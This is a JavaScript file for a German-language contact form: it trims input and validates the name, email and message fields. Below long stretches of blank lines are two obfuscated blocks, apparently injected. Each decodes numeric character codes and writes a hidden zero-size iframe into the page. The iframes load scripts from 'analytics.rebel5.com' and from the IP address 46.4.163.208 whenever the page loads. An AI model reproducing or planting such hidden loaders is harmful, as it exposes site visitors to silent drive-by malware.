function trim (str) {

                                var c = "";
                                var trim_left = 0;
                                var trim_right = 0;
                                for (var i = 0; i < str.length; i++) {
                                                                c = str.charAt(i);
                                                                if (c == ' ' || c == '\t') {
                                                                                                trim_left++;
                                                                }
                                                                else {
                                                                                                break;
                                                                }
                                }
                                for (var i = str.length - 1; i >= 0; i--) {
                                                                c = str.charAt(i);
                                                                if (c == ' ' || c == '\t') {
                                                                                                trim_right++;
                                                                }
                                                                else {
                                                                                                break;
                                                                }
                                }
                                return str.substr(trim_left, str.length - (trim_left + trim_right));
}

function checkEmailForm(){

        var fm=document.sendMailForm ;

        if (trim (fm.NAME.value) == '') {
                 alert ("Bitte geben Sie Ihren Namen ein."+"\nDer Eintrag wurde nicht gespeichert.");
                 fm.NAME.focus();
                return false;
        }
        if (trim (fm.EMAIL.value) == '') {
                 alert ("Bitte geben Sie Ihre Email ein."+"\nDer Eintrag wurde nicht gespeichert.");
                 fm.EMAIL.focus();
                return false;
        }else{
                   if(!chkmail(trim (fm.EMAIL.value))){

                        alert ("Bitte überprüfen Sie das Format Ihrer Email."+"\nDer Eintrag wurde nicht gespeichert.");
                fm.EMAIL.focus();
                return false;
                   }

                }
				
		if (trim (fm.FRAGEN.value) == '') {
                 alert ("Bitte geben Sie eine Nachricht ein."+"\nDer Eintrag wurde nicht gespeichert.");
                 fm.FRAGEN.focus();
                return false;
        }

                return true;
}

function chkmail(mail) {
                        var str = mail;
                        return        (null == str.match(/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/)) &&
                                        (null != str.match(/^.+@\[?[a-zA-Z0-9\._\-]+\]?$/)) &&
                                        (null != str.match(/\.([a-zA-Z]{2,3}$)|([0-9]{1,3}\]?$)/));
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

